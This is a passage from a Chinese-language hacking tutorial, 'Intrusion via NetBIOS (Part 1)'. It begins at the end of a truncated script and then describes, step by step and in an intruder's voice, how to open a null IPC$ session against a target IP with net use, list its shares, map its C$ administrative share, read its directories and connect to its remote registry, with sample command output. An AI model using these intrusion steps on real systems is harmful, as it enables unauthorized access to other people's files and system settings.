通过NetBIOS入侵(一)

"); 
} 
} 
----- end script ----- 

当然，你只要知道原理，可以用C语言或BASIC语言，编写一个具有上述功能的程序。 

一旦进入，就不仅仅是能够收集用户名了。还能做许多其他事情。 

接下来，入侵者会试图看看目标计算机上有那些共享的资源可以利用。可以使用下面一个命令： 
c:\>net view \\[目标计算机的IP地址] 
根据目标计算机的安全策略，这个命令有可能被拒绝。看看下面的例子： 

C:\>net view \\0.0.0.0System error 5 has occurred.Access is denied. 
C:\>net use \\0.0.0.0\ipc$ "" /user:""The command completed successfully.C:\>net view \\0.0.0.0 
Shared resources at \\0.0.0.0 

Share name Type Used as Comment 
------------------------------------------------------------------------------- 
Accelerator Disk Agent Accelerator share for Seagate backup 
Inetpub Disk 
mirc Disk 
NETLOGON Disk Logon server share 
www_pages Disk 

该命令顺利地完成了。 

从上面的例子可见，直到空IPC会话成功建立后，服务器的共享资源列表才能访问到。在此时，你可能会想到，这样的IPC连接会有多危险呢，但目前为止我们的有关I PC的知识还是很基本的。我们仅仅开始研究IPC共享的可能性。 

如果有其它共享资源，可以用net命令进行连接。 
c:\>net use x: \\[ipaddr]\[share] 

如果不行，用上述进行的攻击方法。 

一旦IPC$共享顺利完成，下一个命令是： 
c:\>net use g: \\xxx.xxx.xxx.xxx\c$ 

得到了C$共享，并将该目录映射到g:，键入： 
c:\>dir g: /p 

就能显示这个目录的所有内容。 

成功地进行了IPC$连接后，点击Start -> Run，键入regedit。选择Registry -> Connect Network Registry，再键入那台机器的IP地址。不一会，就能看目标计算机的的Registry了。 

关键词：通过NetBIOS入侵(一)